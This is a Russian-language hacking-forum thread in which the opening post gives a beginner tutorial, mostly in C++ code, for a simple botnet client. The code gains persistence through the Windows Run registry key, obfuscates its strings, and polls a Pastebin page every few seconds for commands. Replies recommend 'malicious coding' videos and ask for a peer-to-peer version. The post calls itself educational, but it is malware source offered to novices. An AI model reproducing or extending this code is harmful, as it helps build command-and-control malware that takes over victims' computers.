Загрузка...

[TRASH CODE #1] | Writing a simple botnet in C++

Thread in Virology created by ПереигралВсех Dec 4, 2021. (bumped Dec 6, 2021) 1704 views

  1. ПереигралВсех
    ПереигралВсех Topic starter Dec 4, 2021 Banned 1098 Feb 9, 2020
    Всем привет, этот гайд о том, как написать ОЧЕНЬ простой ботнет на C++.
    Данный гайд предназначен ТОЛЬКО для новичков.
    Опытным людям советую воздержаться от просмотра данной статьи, если вы не хотите сломать свою психику!
    ============================================================================================

    Что нам понадобится?
    1. Visual Studio (Я использую 2019)
    2. Умение читать, и обрабатывать информацию.


    Начнем!

    1. Создаём проект в Visual Studio.
    Для удобности, я создам Консольное приложение.
    [IMG]
    2. Скачиваем данные файлы и кидаем их в папку с проектом DL
    (ПКМ по проекту > Открыть папку в проводнике)
    [IMG]
    3. Добавим файлы в проект.
    (ПКМ по фильтру "Исходные файлы" > Добавить > Существующий элемент)
    [IMG]
    4. Подключим инклуды.
    Пишем код
    #include "windows.h"
    #include "webclient.hpp"
    #include "xorstr.hpp"
    [IMG]

    5. Добавим программу через реестр в автозапуск.
    Пишем код.

    Code
    void AutoRun()
    {
    char arr[MAX_PATH] = { };
    GetModuleFileName(NULL, (LPSTR)arr, MAX_PATH);

    HKEY hKey;

    if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS)
    {
    if (RegSetValueEx(hKey, "istream", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr)) == ERROR_SUCCESS)
    {
    RegCloseKey(hKey);
    }
    return;
    }
    }
    6. Сделаем метод получения информации с сайта.
    Code
    string replaceAll(string subject, const string& search,
    const string& replace) {
    size_t pos = 0;
    while ((pos = subject.find(search, pos)) != string::npos) {
    subject.replace(pos, search.length(), replace);
    pos += replace.length();
    }
    return subject;
    }

    string DownloadString(string URL) {
    HINTERNET interwebs = InternetOpenA("Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/534.16.1 (KHTML, like Gecko) Version/4.0 Safari/534.16.1", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
    HINTERNET urlFile;
    string rtn;
    if (interwebs) {
    urlFile = InternetOpenUrlA(interwebs, URL.c_str(), NULL, NULL, NULL, NULL);
    if (urlFile) {
    char buffer[2000];
    DWORD bytesRead;
    do {
    InternetReadFile(urlFile, buffer, 2000, &bytesRead);
    rtn.append(buffer, bytesRead);
    memset(buffer, 0, 2000);
    } while (bytesRead);
    InternetCloseHandle(interwebs);
    InternetCloseHandle(urlFile);
    string p = replaceAll(rtn, "|n", "\r\n");
    return p;
    }
    }
    InternetCloseHandle(interwebs);
    string p = replaceAll(rtn, "|n", "\r\n");
    return p;
    }



    7. Создадим файл на Pastebin.
    [IMG]
    В пасту пишем test, например, и создаем.
    [IMG]


    8. Добавим файл в автозагрузку, получим команду
    В Main пишем
    Code
    int main()[/B][/SIZE][/LEFT]
    [SIZE=5][B][LEFT]{
    AutoRun();

    while (1)
    {
    string url = xorstr("ссылка на pastebin");
    string command = DownloadString(url);
    cout << command << endl;

    if (command == "test")
    {
    // в этих скобках писать код
    std::cout << "WORK!" << endl;
    }
    Sleep(5000);
    }
    }




    [IMG]

    На этом всё, если будут вопросы задавайте мне в лс, или пишите тут.
    Повторюсь, эта статья только для людей которые не разбираются в C++.
    Критика на тему того, что код не оптимизирован, не принимается.
    [IMG]
    Этот код можно доработать, но не советую его использовать на полном серьёзе.
    Статья про нормальный ботнет будет позже, так как нужно время на её написание.

    P.S: Данная статья предназначена для ОЗНАКОМЛЕНИЯ, и для того что-бы вы понимали как работают вирусы изнутри, и смогли защищаться от них, ответственность за ваши действия лежит ТОЛЬКО на ВАС!
    Source
     
  2. Работяга_неактив621235
    Работяга_неактив621235 Dec 4, 2021 Я бы изменил мир, но они не дают мне исходник... 325 Oct 15, 2018
    Есть замечательная серия роликов на канале CryptoFun, рекомендую к просмотру если хотите научиться злокодингу
     
  3. Eggy
    Eggy Dec 5, 2021 Banned 34 May 28, 2021
    Хм, в этом ничего не шарю, прочитал, довольно интересно:finger_up:
     
  4. mentalExploit
    давай про p2p сеть
     
Loading...
Top